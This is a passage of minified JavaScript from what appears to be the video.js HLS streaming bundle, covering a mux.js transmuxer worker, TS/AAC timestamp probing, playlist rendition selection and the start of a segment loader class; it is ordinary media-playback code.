t=4+ki(e),i=e.subarray(t),n=0,r=0,s=!1;r<i.byteLength-3;r++)if(1===i[r+2]){n=r+5;break}for(;n<i.byteLength;)switch(i[n]){case 0:if(0!==i[n-1]){n+=2;break}if(0!==i[n-2]){n++;break}r+3!==n-2&&"slice_layer_without_partitioning_rbsp_idr"===Si(31&i[r+3])&&(s=!0);do{n++}while(1!==i[n]&&n<i.length);r=n-2,n+=3;break;case 1:if(0!==i[n-1]||0!==i[n-2]){n+=3;break}"slice_layer_without_partitioning_rbsp_idr"===Si(31&i[r+3])&&(s=!0),r=n-2,n+=3;break;default:n+=3}return i=i.subarray(r),n-=r,r=0,i&&i.byteLength>3&&"slice_layer_without_partitioning_rbsp_idr"===Si(31&i[r+3])&&(s=!0),s}},xi=Ce,Li=Oe.handleRollover,Ci={};Ci.ts=Mi,Ci.aac=_t;var Di=le.ONE_SECOND_IN_TS,Ei=188,Ai=function(e,t,i){for(var n,r,s,a,o=0,l=Ei,u=!1;l<=e.byteLength;)if(71!==e[o]||71!==e[l]&&l!==e.byteLength)o++,l++;else{if(n=e.subarray(o,l),"pes"===Ci.ts.parseType(n,t.pid)&&(r=Ci.ts.parsePesType(n,t.table),s=Ci.ts.parsePayloadUnitStartIndicator(n),"audio"===r&&s&&(a=Ci.ts.parsePesTime(n))&&(a.type="audio",i.audio.push(a),u=!0)),u)break;o+=Ei,l+=Ei}for(o=(l=e.byteLength)-Ei,u=!1;o>=0;)if(71!==e[o]||71!==e[l]&&l!==e.byteLength)o--,l--;else{if(n=e.subarray(o,l),"pes"===Ci.ts.parseType(n,t.pid)&&(r=Ci.ts.parsePesType(n,t.table),s=Ci.ts.parsePayloadUnitStartIndicator(n),"audio"===r&&s&&(a=Ci.ts.parsePesTime(n))&&(a.type="audio",i.audio.push(a),u=!0)),u)break;o-=Ei,l-=Ei}},Ii=function(e,t,i){for(var n,r,s,a,o,l,u,c=0,d=Ei,h=!1,p={data:[],size:0};d<e.byteLength;)if(71!==e[c]||71!==e[d])c++,d++;else{if(n=e.subarray(c,d),"pes"===Ci.ts.parseType(n,t.pid)&&(r=Ci.ts.parsePesType(n,t.table),s=Ci.ts.parsePayloadUnitStartIndicator(n),"video"===r&&(s&&!h&&(a=Ci.ts.parsePesTime(n))&&(a.type="video",i.video.push(a),h=!0),!i.firstKeyFrame))){if(s&&0!==p.size){for(o=new Uint8Array(p.size),l=0;p.data.length;)u=p.data.shift(),o.set(u,l),l+=u.byteLength;if(Ci.ts.videoPacketContainsKeyFrame(o)){var f=Ci.ts.parsePesTime(o);f?(i.firstKeyFrame=f,i.firstKeyFrame.type="video"):console.warn("Failed to extract PTS/DTS from PES at first keyframe. This could be an unusual TS segment, or else mux.js did not parse your TS segment correctly. If you know your TS segments do contain PTS/DTS on keyframes please file a bug report! You can try ffprobe to double check for yourself.")}p.size=0}p.data.push(n),p.size+=n.byteLength}if(h&&i.firstKeyFrame)break;c+=Ei,d+=Ei}for(c=(d=e.byteLength)-Ei,h=!1;c>=0;)if(71!==e[c]||71!==e[d])c--,d--;else{if(n=e.subarray(c,d),"pes"===Ci.ts.parseType(n,t.pid)&&(r=Ci.ts.parsePesType(n,t.table),s=Ci.ts.parsePayloadUnitStartIndicator(n),"video"===r&&s&&(a=Ci.ts.parsePesTime(n))&&(a.type="video",i.video.push(a),h=!0)),h)break;c-=Ei,d-=Ei}};class Yi{constructor(e,t){this.options=t||{},this.self=e,this.init()}init(){this.transmuxer&&this.transmuxer.dispose(),this.transmuxer=new zt.Transmuxer(this.options),function(e,t){t.on("data",(function(t){const i=t.initSegment;t.initSegment={data:i.buffer,byteOffset:i.byteOffset,byteLength:i.byteLength};const n=t.data;t.data=n.buffer,e.postMessage({action:"data",segment:t,byteOffset:n.byteOffset,byteLength:n.byteLength},[t.data])})),t.on("done",(function(t){e.postMessage({action:"done"})})),t.on("gopInfo",(function(t){e.postMessage({action:"gopInfo",gopInfo:t})})),t.on("videoSegmentTimingInfo",(function(t){const i={start:{decode:le.videoTsToSeconds(t.start.dts),presentation:le.videoTsToSeconds(t.start.pts)},end:{decode:le.videoTsToSeconds(t.end.dts),presentation:le.videoTsToSeconds(t.end.pts)},baseMediaDecodeTime:le.videoTsToSeconds(t.baseMediaDecodeTime)};t.prependedContentDuration&&(i.prependedContentDuration=le.videoTsToSeconds(t.prependedContentDuration)),e.postMessage({action:"videoSegmentTimingInfo",videoSegmentTimingInfo:i})})),t.on("audioSegmentTimingInfo",(function(t){const i={start:{decode:le.videoTsToSeconds(t.start.dts),presentation:le.videoTsToSeconds(t.start.pts)},end:{decode:le.videoTsToSeconds(t.end.dts),presentation:le.videoTsToSeconds(t.end.pts)},baseMediaDecodeTime:le.videoTsToSeconds(t.baseMediaDecodeTime)};t.prependedContentDuration&&(i.prependedContentDuration=le.videoTsToSeconds(t.prependedContentDuration)),e.postMessage({action:"audioSegmentTimingInfo",audioSegmentTimingInfo:i})})),t.on("id3Frame",(function(t){e.postMessage({action:"id3Frame",id3Frame:t})})),t.on("caption",(function(t){e.postMessage({action:"caption",caption:t})})),t.on("trackinfo",(function(t){e.postMessage({action:"trackinfo",trackInfo:t})})),t.on("audioTimingInfo",(function(t){e.postMessage({action:"audioTimingInfo",audioTimingInfo:{start:le.videoTsToSeconds(t.start),end:le.videoTsToSeconds(t.end)}})})),t.on("videoTimingInfo",(function(t){e.postMessage({action:"videoTimingInfo",videoTimingInfo:{start:le.videoTsToSeconds(t.start),end:le.videoTsToSeconds(t.end)}})})),t.on("log",(function(t){e.postMessage({action:"log",log:t})}))}(this.self,this.transmuxer)}pushMp4Captions(e){this.captionParser||(this.captionParser=new di,this.captionParser.init());const t=new Uint8Array(e.data,e.byteOffset,e.byteLength),i=this.captionParser.parse(t,e.trackIds,e.timescales);this.self.postMessage({action:"mp4Captions",captions:i&&i.captions||[],logs:i&&i.logs||[],data:t.buffer},[t.buffer])}probeMp4StartTime({timescales:e,data:t}){const i=vi(e,t);this.self.postMessage({action:"probeMp4StartTime",startTime:i,data:t},[t.buffer])}probeMp4Tracks({data:e}){const t=yi(e);this.self.postMessage({action:"probeMp4Tracks",tracks:t,data:e},[e.buffer])}probeTs({data:e,baseStartTime:t}){const n=function(e,t){var i;return i=Ci.aac.isLikelyAacData(e)?function(e){for(var t,i=!1,n=0,r=null,s=null,a=0,o=0;e.length-o>=3;){switch(Ci.aac.parseType(e,o)){case"timed-metadata":if(e.length-o<10){i=!0;break}if((a=Ci.aac.parseId3TagSize(e,o))>e.length){i=!0;break}null===s&&(t=e.subarray(o,o+a),s=Ci.aac.parseAacTimestamp(t)),o+=a;break;case"audio":if(e.length-o<7){i=!0;break}if((a=Ci.aac.parseAdtsSize(e,o))>e.length){i=!0;break}null===r&&(t=e.subarray(o,o+a),r=Ci.aac.parseSampleRate(t)),n++,o+=a;break;default:o++}if(i)return null}if(null===r||null===s)return null;var l=Di/r;return{audio:[{type:"audio",dts:s,pts:s},{type:"audio",dts:s+1024*n*l,pts:s+1024*n*l}]}}(e):function(e){var t={pid:null,table:null},i={};for(var n in function(e,t){for(var i,n=0,r=Ei;r<e.byteLength;)if(71!==e[n]||71!==e[r])n++,r++;else{switch(i=e.subarray(n,r),Ci.ts.parseType(i,t.pid)){case"pat":t.pid=Ci.ts.parsePat(i);break;case"pmt":var s=Ci.ts.parsePmt(i);t.table=t.table||{},Object.keys(s).forEach((function(e){t.table[e]=s[e]}))}n+=Ei,r+=Ei}}(e,t),t.table)if(t.table.hasOwnProperty(n))switch(t.table[n]){case xi.H264_STREAM_TYPE:i.video=[],Ii(e,t,i),0===i.video.length&&delete i.video;break;case xi.ADTS_STREAM_TYPE:i.audio=[],Ai(e,t,i),0===i.audio.length&&delete i.audio}return i}(e),i&&(i.audio||i.video)?(function(e,t){if(e.audio&&e.audio.length){var i=t;(void 0===i||isNaN(i))&&(i=e.audio[0].dts),e.audio.forEach((function(e){e.dts=Li(e.dts,i),e.pts=Li(e.pts,i),e.dtsTime=e.dts/Di,e.ptsTime=e.pts/Di}))}if(e.video&&e.video.length){var n=t;if((void 0===n||isNaN(n))&&(n=e.video[0].dts),e.video.forEach((function(e){e.dts=Li(e.dts,n),e.pts=Li(e.pts,n),e.dtsTime=e.dts/Di,e.ptsTime=e.pts/Di})),e.firstKeyFrame){var r=e.firstKeyFrame;r.dts=Li(r.dts,n),r.pts=Li(r.pts,n),r.dtsTime=r.dts/Di,r.ptsTime=r.pts/Di}}}(i,t),i):null}(e,"number"!=typeof t||isNaN(t)?void 0:t*le.ONE_SECOND_IN_TS);let r=null;n&&(r={hasVideo:n.video&&2===n.video.length||!1,hasAudio:n.audio&&2===n.audio.length||!1},r.hasVideo&&(r.videoStart=n.video[0].ptsTime),r.hasAudio&&(r.audioStart=n.audio[0].ptsTime)),this.self.postMessage({action:"probeTs",result:r,data:e},[e.buffer])}clearAllMp4Captions(){this.captionParser&&this.captionParser.clearAllCaptions()}clearParsedMp4Captions(){this.captionParser&&this.captionParser.clearParsedCaptions()}push(e){const t=new Uint8Array(e.data,e.byteOffset,e.byteLength);this.transmuxer.push(t)}reset(){this.transmuxer.reset()}setTimestampOffset(e){const t=e.timestampOffset||0;this.transmuxer.setBaseMediaDecodeTime(Math.round(le.secondsToVideoTs(t)))}setAudioAppendStart(e){this.transmuxer.setAudioAppendStart(Math.ceil(le.secondsToVideoTs(e.appendStart)))}setRemux(e){this.transmuxer.setRemux(e.remux)}flush(e){this.transmuxer.flush(),self.postMessage({action:"done",type:"transmuxed"})}endTimeline(){this.transmuxer.endTimeline(),self.postMessage({action:"endedtimeline",type:"transmuxed"})}alignGopsWith(e){this.transmuxer.alignGopsWith(e.gopsToAlignWith.slice())}}self.onmessage=function(e){"init"===e.data.action&&e.data.options?this.messageHandlers=new Yi(self,e.data.options):(this.messageHandlers||(this.messageHandlers=new Yi(self)),e.data&&e.data.action&&"init"!==e.data.action&&this.messageHandlers[e.data.action]&&this.messageHandlers[e.data.action](e.data))}})));var Yo=Po(Oo);const $o=e=>{const{transmuxer:t,bytes:i,audioAppendStart:n,gopsToAlignWith:r,remux:s,onData:a,onTrackInfo:o,onAudioTimingInfo:l,onVideoTimingInfo:u,onVideoSegmentTimingInfo:c,onAudioSegmentTimingInfo:d,onId3:h,onCaptions:p,onDone:f,onEndedTimeline:m,onTransmuxerLog:g,isEndOfTimeline:_}=e,v={buffer:[]};let y=_;if(t.onmessage=i=>{t.currentTransmux===e&&("data"===i.data.action&&((e,t,i)=>{const{type:n,initSegment:r,captions:s,captionStreams:a,metadata:o,videoFrameDtsTime:l,videoFramePtsTime:u}=e.data.segment;t.buffer.push({captions:s,captionStreams:a,metadata:o});const c=e.data.segment.boxes||{data:e.data.segment.data},d={type:n,data:new Uint8Array(c.data,c.data.byteOffset,c.data.byteLength),initSegment:new Uint8Array(r.data,r.byteOffset,r.byteLength)};void 0!==l&&(d.videoFrameDtsTime=l),void 0!==u&&(d.videoFramePtsTime=u),i(d)})(i,v,a),"trackinfo"===i.data.action&&o(i.data.trackInfo),"gopInfo"===i.data.action&&((e,t)=>{t.gopInfo=e.data.gopInfo})(i,v),"audioTimingInfo"===i.data.action&&l(i.data.audioTimingInfo),"videoTimingInfo"===i.data.action&&u(i.data.videoTimingInfo),"videoSegmentTimingInfo"===i.data.action&&c(i.data.videoSegmentTimingInfo),"audioSegmentTimingInfo"===i.data.action&&d(i.data.audioSegmentTimingInfo),"id3Frame"===i.data.action&&h([i.data.id3Frame],i.data.id3Frame.dispatchType),"caption"===i.data.action&&p(i.data.caption),"endedtimeline"===i.data.action&&(y=!1,m()),"log"===i.data.action&&g(i.data.log),"transmuxed"===i.data.type&&(y||(t.onmessage=null,(({transmuxedData:e,callback:t})=>{e.buffer=[],t(e)})({transmuxedData:v,callback:f}),jo(t))))},n&&t.postMessage({action:"setAudioAppendStart",appendStart:n}),Array.isArray(r)&&t.postMessage({action:"alignGopsWith",gopsToAlignWith:r}),void 0!==s&&t.postMessage({action:"setRemux",remux:s}),i.byteLength){const e=i instanceof ArrayBuffer?i:i.buffer,n=i instanceof ArrayBuffer?0:i.byteOffset;t.postMessage({action:"push",data:e,byteOffset:n,byteLength:i.byteLength},[e])}_&&t.postMessage({action:"endTimeline"}),t.postMessage({action:"flush"})},jo=e=>{e.currentTransmux=null,e.transmuxQueue.length&&(e.currentTransmux=e.transmuxQueue.shift(),"function"==typeof e.currentTransmux?e.currentTransmux():$o(e.currentTransmux))},No=(e,t)=>{e.postMessage({action:t}),jo(e)};var Ro=e=>{((e,t)=>{if(!t.currentTransmux)return t.currentTransmux=e,void No(t,e);t.transmuxQueue.push(No.bind(null,t,e))})("reset",e)};const Ho=function(e){const t=e.transmuxer,i=e.endAction||e.action,n=e.callback,r=_({},e,{endAction:null,transmuxer:null,callback:null}),s=r=>{r.data.action===i&&(t.removeEventListener("message",s),r.data.data&&(r.data.data=new Uint8Array(r.data.data,e.byteOffset||0,e.byteLength||r.data.data.byteLength),e.data&&(e.data=r.data.data)),n(r.data))};if(t.addEventListener("message",s),e.data){const i=e.data instanceof ArrayBuffer;r.byteOffset=i?0:e.data.byteOffset,r.byteLength=e.data.byteLength;const n=[i?e.data:e.data.buffer];t.postMessage(r,n)}else t.postMessage(r)},Uo=e=>{e.forEach((e=>{e.abort()}))},Wo=(e,t)=>t.timedout?{status:t.status,message:"HLS request timed-out at URL: "+t.uri,code:-101,xhr:t}:t.aborted?{status:t.status,message:"HLS request aborted at URL: "+t.uri,code:-102,xhr:t}:e?{status:t.status,message:"HLS request errored at URL: "+t.uri,code:2,xhr:t}:"arraybuffer"===t.responseType&&0===t.response.byteLength?{status:t.status,message:"Empty HLS response at URL: "+t.uri,code:2,xhr:t}:null,zo=(e,t,i)=>(n,r)=>{const s=r.response,a=Wo(n,r);if(a)return i(a,e);if(16!==s.byteLength)return i({status:r.status,message:"Invalid HLS key at URL: "+r.uri,code:2,xhr:r},e);const o=new DataView(s),l=new Uint32Array([o.getUint32(0),o.getUint32(4),o.getUint32(8),o.getUint32(12)]);for(let e=0;e<t.length;e++)t[e].bytes=l;return i(null,e)},qo=(e,t)=>{const i=ht(e.map.bytes);if("mp4"!==i){const n=e.map.resolvedUri||e.map.uri;return t({internal:!0,message:`Found unsupported ${i||"unknown"} container for initialization segment at URL: ${n}`,code:2})}Ho({action:"probeMp4Tracks",data:e.map.bytes,transmuxer:e.transmuxer,callback:({tracks:i,data:n})=>(e.map.bytes=n,i.forEach((function(t){e.map.tracks=e.map.tracks||{},e.map.tracks[t.type]||(e.map.tracks[t.type]=t,"number"==typeof t.id&&t.timescale&&(e.map.timescales=e.map.timescales||{},e.map.timescales[t.id]=t.timescale))})),t(null))})},Jo=({segment:e,bytes:t,trackInfoFn:i,timingInfoFn:n,videoSegmentTimingInfoFn:r,audioSegmentTimingInfoFn:s,id3Fn:a,captionsFn:o,isEndOfTimeline:l,endedTimelineFn:u,dataFn:c,doneFn:d,onTransmuxerLog:h})=>{let p=new Uint8Array(t);if(function(e){return Ke(e,["moof"]).length>0}(p)){e.isFmp4=!0;const{tracks:r}=e.map,s={isFmp4:!0,hasVideo:!!r.video,hasAudio:!!r.audio};r.audio&&r.audio.codec&&"enca"!==r.audio.codec&&(s.audioCodec=r.audio.codec),r.video&&r.video.codec&&"encv"!==r.video.codec&&(s.videoCodec=r.video.codec),r.video&&r.audio&&(s.isMuxed=!0),i(e,s);const a=t=>{c(e,{data:p,type:s.hasAudio&&!s.isMuxed?"audio":"video"}),t&&t.length&&o(e,t),d(null,e,{})};Ho({action:"probeMp4StartTime",timescales:e.map.timescales,data:p,transmuxer:e.transmuxer,callback:({data:i,startTime:o})=>{t=i.buffer,e.bytes=p=i,s.hasAudio&&!s.isMuxed&&n(e,"audio","start",o),s.hasVideo&&n(e,"video","start",o),r.video&&i.byteLength&&e.transmuxer?Ho({action:"pushMp4Captions",endAction:"mp4Captions",transmuxer:e.transmuxer,data:p,timescales:e.map.timescales,trackIds:[r.video.id],callback:i=>{t=i.data.buffer,e.bytes=p=i.data,i.logs.forEach((function(e){h(ya(e,{stream:"mp4CaptionParser"}))})),a(i.captions)}}):a()}})}else if(e.transmuxer){if(void 0===e.container&&(e.container=ht(p)),"ts"!==e.container&&"aac"!==e.container)return i(e,{hasAudio:!1,hasVideo:!1}),void d(null,e,{});(({segment:e,bytes:t,trackInfoFn:i,timingInfoFn:n,videoSegmentTimingInfoFn:r,audioSegmentTimingInfoFn:s,id3Fn:a,captionsFn:o,isEndOfTimeline:l,endedTimelineFn:u,dataFn:c,doneFn:d,onTransmuxerLog:h})=>{const p=e.map&&e.map.tracks||{},f=Boolean(p.audio&&p.video);let m=n.bind(null,e,"audio","start");const g=n.bind(null,e,"audio","end");let _=n.bind(null,e,"video","start");const v=n.bind(null,e,"video","end");Ho({action:"probeTs",transmuxer:e.transmuxer,data:t,baseStartTime:e.baseStartTime,callback:n=>{e.bytes=t=n.data;const p=n.result;p&&(i(e,{hasAudio:p.hasAudio,hasVideo:p.hasVideo,isMuxed:f}),i=null,p.hasAudio&&!f&&m(p.audioStart),p.hasVideo&&_(p.videoStart),m=null,_=null),(e=>{if(!e.transmuxer.currentTransmux)return e.transmuxer.currentTransmux=e,void $o(e);e.transmuxer.transmuxQueue.push(e)})({bytes:t,transmuxer:e.transmuxer,audioAppendStart:e.audioAppendStart,gopsToAlignWith:e.gopsToAlignWith,remux:f,onData:t=>{t.type="combined"===t.type?"video":t.type,c(e,t)},onTrackInfo:t=>{i&&(f&&(t.isMuxed=!0),i(e,t))},onAudioTimingInfo:e=>{m&&void 0!==e.start&&(m(e.start),m=null),g&&void 0!==e.end&&g(e.end)},onVideoTimingInfo:e=>{_&&void 0!==e.start&&(_(e.start),_=null),v&&void 0!==e.end&&v(e.end)},onVideoSegmentTimingInfo:e=>{r(e)},onAudioSegmentTimingInfo:e=>{s(e)},onId3:(t,i)=>{a(e,t,i)},onCaptions:t=>{o(e,[t])},isEndOfTimeline:l,onEndedTimeline:()=>{u()},onTransmuxerLog:h,onDone:t=>{d&&(t.type="combined"===t.type?"video":t.type,d(null,e,t))}})}})})({segment:e,bytes:t,trackInfoFn:i,timingInfoFn:n,videoSegmentTimingInfoFn:r,audioSegmentTimingInfoFn:s,id3Fn:a,captionsFn:o,isEndOfTimeline:l,endedTimelineFn:u,dataFn:c,doneFn:d,onTransmuxerLog:h})}else d(null,e,{})},Go=function({id:e,key:t,encryptedBytes:i,decryptionWorker:n},r){const s=t=>{if(t.data.source===e){n.removeEventListener("message",s);const e=t.data.decrypted;r(new Uint8Array(e.bytes,e.byteOffset,e.byteLength))}};let a;n.addEventListener("message",s),a=t.bytes.slice?t.bytes.slice():new Uint32Array(Array.prototype.slice.call(t.bytes)),n.postMessage(go({source:e,encrypted:i,key:a,iv:t.iv}),[i.buffer,a.buffer])},Xo=va("CodecUtils"),Zo=(e,t)=>{const i=t.attributes||{};return e&&e.mediaGroups&&e.mediaGroups.AUDIO&&i.AUDIO&&e.mediaGroups.AUDIO[i.AUDIO]},Qo=function(e){const t={};return e.forEach((({mediaType:e,type:i,details:n})=>{t[e]=t[e]||[],t[e].push(I(`${i}${n}`))})),Object.keys(t).forEach((function(e){if(t[e].length>1)return Xo(`multiple ${e} codecs found as attributes: ${t[e].join(", ")}. Setting playlist codecs to null so that we wait for mux.js to probe segments for real codecs.`),void(t[e]=null);t[e]=t[e][0]})),t},el=function(e){let t=0;return e.audio&&t++,e.video&&t++,t},tl=function(e,t){const i=t.attributes||{},n=Qo(function(e){const t=e.attributes||{};if(t.CODECS)return O(t.CODECS)}(t)||[]);if(Zo(e,t)&&!n.audio&&!((e,t)=>{if(!Zo(e,t))return!0;const i=t.attributes||{},n=e.mediaGroups.AUDIO[i.AUDIO];for(const e in n)if(!n[e].uri&&!n[e].playlists)return!0;return!1})(e,t)){const t=Qo(function(e,t){if(!e.mediaGroups.AUDIO||!t)return null;var i=e.mediaGroups.AUDIO[t];if(!i)return null;for(var n in i){var r=i[n];if(r.default&&r.playlists)return O(r.playlists[0].attributes.CODECS)}return null}(e,i.AUDIO)||[]);t.audio&&(n.audio=t.audio)}return n},il=va("PlaylistSelector"),nl=function(e){if(!e||!e.playlist)return;const t=e.playlist;return JSON.stringify({id:t.id,bandwidth:e.bandwidth,width:e.width,height:e.height,codecs:t.attributes&&t.attributes.CODECS||""})},rl=function(e,t){if(!e)return"";const i=r().getComputedStyle(e);return i?i[t]:""},sl=function(e,t){const i=e.slice();e.sort((function(e,n){const r=t(e,n);return 0===r?i.indexOf(e)-i.indexOf(n):r}))},al=function(e,t){let i,n;return e.attributes.BANDWIDTH&&(i=e.attributes.BANDWIDTH),i=i||r().Number.MAX_VALUE,t.attributes.BANDWIDTH&&(n=t.attributes.BANDWIDTH),n=n||r().Number.MAX_VALUE,i-n};let ol=function(e,t,i,n,s,a){if(!e)return;const o={bandwidth:t,width:i,height:n,limitRenditionByPlayerDimensions:s};let l=e.playlists;Va.isAudioOnly(e)&&(l=a.getAudioTrackPlaylists_(),o.audioOnly=!0);let u=l.map((e=>{let t;const i=e.attributes&&e.attributes.RESOLUTION&&e.attributes.RESOLUTION.width,n=e.attributes&&e.attributes.RESOLUTION&&e.attributes.RESOLUTION.height;return t=e.attributes&&e.attributes.BANDWIDTH,t=t||r().Number.MAX_VALUE,{bandwidth:t,width:i,height:n,playlist:e}}));sl(u,((e,t)=>e.bandwidth-t.bandwidth)),u=u.filter((e=>!Va.isIncompatible(e.playlist)));let c=u.filter((e=>Va.isEnabled(e.playlist)));c.length||(c=u.filter((e=>!Va.isDisabled(e.playlist))));const d=c.filter((e=>e.bandwidth*Do.BANDWIDTH_VARIANCE<t));let h=d[d.length-1];const p=d.filter((e=>e.bandwidth===h.bandwidth))[0];if(!1===s){const e=p||c[0]||u[0];if(e&&e.playlist){let t="sortedPlaylistReps";return p&&(t="bandwidthBestRep"),c[0]&&(t="enabledPlaylistReps"),il(`choosing ${nl(e)} using ${t} with options`,o),e.playlist}return il("could not choose a playlist with options",o),null}const f=d.filter((e=>e.width&&e.height));sl(f,((e,t)=>e.width-t.width));const m=f.filter((e=>e.width===i&&e.height===n));h=m[m.length-1];const g=m.filter((e=>e.bandwidth===h.bandwidth))[0];let _,v,y,b;if(g||(_=f.filter((e=>e.width>i||e.height>n)),v=_.filter((e=>e.width===_[0].width&&e.height===_[0].height)),h=v[v.length-1],y=v.filter((e=>e.bandwidth===h.bandwidth))[0]),a.leastPixelDiffSelector){const e=f.map((e=>(e.pixelDiff=Math.abs(e.width-i)+Math.abs(e.height-n),e)));sl(e,((e,t)=>e.pixelDiff===t.pixelDiff?t.bandwidth-e.bandwidth:e.pixelDiff-t.pixelDiff)),b=e[0]}const w=b||y||g||p||c[0]||u[0];if(w&&w.playlist){let e="sortedPlaylistReps";return b?e="leastPixelDiffRep":y?e="resolutionPlusOneRep":g?e="resolutionBestRep":p?e="bandwidthBestRep":c[0]&&(e="enabledPlaylistReps"),il(`choosing ${nl(w)} using ${e} with options`,o),w.playlist}return il("could not choose a playlist with options",o),null};const ll=function(){const e=this.useDevicePixelRatio&&r().devicePixelRatio||1;return ol(this.playlists.main,this.systemBandwidth,parseInt(rl(this.tech_.el(),"width"),10)*e,parseInt(rl(this.tech_.el(),"height"),10)*e,this.limitRenditionByPlayerDimensions,this.playlistController_)},ul=function(e,t,i){let n,r;if(i&&i.cues)for(n=i.cues.length;n--;)r=i.cues[n],r.startTime>=e&&r.endTime<=t&&i.removeCue(r)},cl=e=>"number"==typeof e&&isFinite(e),dl=1/60,hl=e=>{const{startOfSegment:t,duration:i,segment:n,part:r,playlist:{mediaSequence:s,id:a,segments:o=[]},mediaIndex:l,partIndex:u,timeline:c}=e,d=o.length-1;let h="mediaIndex/partIndex increment";e.getMediaInfoForTime?h=`getMediaInfoForTime (${e.getMediaInfoForTime})`:e.isSyncRequest&&(h="getSyncSegmentCandidate (isSyncRequest)"),e.independent&&(h+=` with independent ${e.independent}`);const p="number"==typeof u,f=e.segment.uri?"segment":"pre-segment",m=p?Ia({preloadSegment:n})-1:0;return`${f} [${s+l}/${s+d}]`+(p?` part [${u}/${m}]`:"")+` segment start/end [${n.start} => ${n.end}]`+(p?` part start/end [${r.start} => ${r.end}]`:"")+` startOfSegment [${t}]`+` duration [${i}]`+` timeline [${c}]`+` selected by [${h}]`+` playlist [${a}]`},pl=e=>`${e}TimingInfo`,fl=({timelineChangeController:e,currentTimeline:t,segmentTimeline:i,loaderType:n,audioDisabled:r})=>{if(t===i)return!1;if("audio"===n){const t=e.lastTimelineChange({type:"main"});return!t||t.to!==i}if("main"===n&&r){const t=e.pendingTimelineChange({type:"audio"});return!t||t.to!==i}return!1},ml=({segmentDuration:e,maxDuration:t})=>!!e&&Math.round(e)>t+wa;class gl extends da.EventTarget{constructor(e,t={}){if(super(),!e)throw new TypeError("Initialization settings are required");if("function"!=typeof e.currentTime)throw new TypeError("No currentTime getter specified");if(!e.mediaSource)throw new TypeError("No MediaSource specified");this.bandwidth=e.bandwidth,this.throughput={rate:0,count:0},this.roundTrip=NaN,this.resetStats_(),this.mediaIndex=null,this.partIndex=null,this.hasPlayed_=e.hasPlayed,this.currentTime_=e.currentTime,this.seekable_=e.seekable,this.seeking_=e.seeking,this.duration_=e.duration,this.mediaSource_=e.mediaSource,this.vhs_=e.vhs,this.loaderType_=e.loaderType,this.currentMediaInfo_=void 0,this.startingMediaInfo_=void 0,this.segmentMetadataTrack_=e.segmentMetadataTrack,this.goalBufferLength_=e.goalBufferLength,this.sourceType_=e.sourceType,this.sourceUpdater_=e.sourceUpdater,this.inbandTextTracks_=e.inbandTextTracks,this.state_="INIT",this.timelineChangeController_=e.timelineChangeController,this.shouldSaveSegmentTimingInfo_=!0,this.parse708captions_=e.parse708captions,this.useDtsForTimestampOffset_=e.useDtsForTimestampOffset,this.captionServices_=e.captionServices,this.exactManifestTimings=e.exactManifestTimings,this.checkBufferTimeout_=null,this.error_=void 0,this.currentTimeline_=-1,this.pendingSegment_=null,this.xhrOptions_=null,this.pendingSegments_=[],this.audioDisabled_=!1,this.isPendingTimestampOffset_=!1,this.gopBuffer_=[],this.timeMapping_=0,this.safeAppend_=da.browser.IE_VERSION>=11,this.appendInitSegment_={audio:!0,video:!0},this.playlistOfLastInitSegment_={audio:null,video:null},this.callQueue_=[],this.loadQueue_=[],this.metadataQueue_={id3:[],caption:[]},this.waitingOnRemove_=!1,this.quotaExceededErrorRetryTimeout_=null,this.activeInitSegmentId_=null,this.initSegments_={},this.cacheEncryptionKeys_=e.cacheEncryptionKeys,this.keyCache_={},this.decrypter_=e.decrypter,this.syncController_=e.syncController,this.syncPoint_={segmentIndex:0,time:0},this.transmuxer_=this.createTransmuxer_(),this.triggerSyncInfoUpdate_=()=>this.trigger("syncinfoupdate"),this.syncController_.on("syncinfoupdate",this.triggerSyncInfoUpdate_),this.mediaSource_.addEventListener("sourceopen",(()=>{this.isEndOfStream_()||(this.ended_=!1)})),this.fetchAtBuffer_=!1,this.logger_=va(`SegmentLoader[${this.loaderType_}]`),Object.defineProperty(this,"state",{get(){return this.state_},set(e){e!==this.state_&&(this.logger_(`${this.state_} -> ${e}`),this.state_=e,this.trigger("statechange"))}}),this.sourceUpdater_.on("ready",(()=>{this.hasEnoughInfoToAppend_()&&this.processCallQueue_()})),"main"===this.loaderType_&&this.timelineChangeController_.on("pendingtimelinechange",(()=>{this.hasEnoughInfoToAppend_()&&this.processCallQueue_()})),"audio"===this.loaderType_&&this.timelineChangeController_.on("timelinechange",(()=>{this.hasEnoughInfoToLoad_()&&this.processLoadQueue_(),this.hasEnoughInfoToAppend_()&&this.processCallQueue_()}))}createTransmuxer_(){return(e=>{const t=new Yo;t.currentTransmux=null,t.transmuxQueue=[];const i=t.terminate;return t.terminate=()=>(t.currentTransmux=null,t.transmuxQueue.length=0,i.call(t)),t.postMessage({action:"init",options:e}),t})({remux:!1,alignGopsAtEnd:this.safeAppend_,keepOriginalTimestamps:!0,parse708captions:this.parse708captions_,captionServices:this.captionServices_})}resetStats_(){this.mediaBytesTransferred=0,this.mediaRequests=0,this.mediaRequestsAborted=0,this.mediaRequestsTimedout=0,this.mediaRequestsErrored=0,this.mediaTransferDuration=0,this.mediaSecondsLoaded=0,this.mediaAppends=0}dispose(){this.trigger("dispose"),this.state="DISPOSED",this.pause(),this.abort_(),this.transmuxer_&&this.transmuxer_.terminate(),this.resetStats_(),this.checkBufferTimeout_&&r().clearTimeout(this.checkBufferTimeout_),this.syncController_&&this.triggerSyncInfoUpdate_&&this.syncController_.off("syncinfoupdate",this.triggerSyncInfoUpdate_),this.off()}setAudio(e){this.audioDisabled_=!e,e?this.appendInitSegment_.audio=!0:this.sourceUpdater_.removeAudio(0,this.duration_())}abort(){"WAITING"===this.state?(this.abort_(),this.state="READY",this.paused()||this.monitorBuffer_()):this.pendingSegment_&&(this.pendingSegment_=null)}abort_(){this.pendingSegment_&&this.pendingSegment_.abortRequests&&this.pendingSegment_.abortRequests(),this.pendingSegment_=null,this.callQueue_=[],this.loadQueue_=[],this.metadataQueue_.id3=[],this.metadataQueue_.caption=[],this.timelineChangeController_.clearPendingTimelineChange(this.loaderType_),this.waitingOnRemove_=!1,r().clearTimeout(this.quotaExceededErrorRetryTimeout_),this.quotaExceededErrorRetryTimeout_=null}checkForAbort_(e){return"APPENDING"!==this.state||this.pendingSegment_?!this.pendingSegment_||this.pendingSegment_.requestId!==e:(this.state="READY",!0)}error(e){return void 0!==e&&(this.logger_("error occurred:",e),this.error_=e),this.pendingSegment_=null,this.error_}endOfStream(){this.ended_=!0,this.transmuxer_&&Ro(this.transmuxer_),this.gopBuffer_.length=0,this.pause(),this.trigger("ended")}buffered_(){const 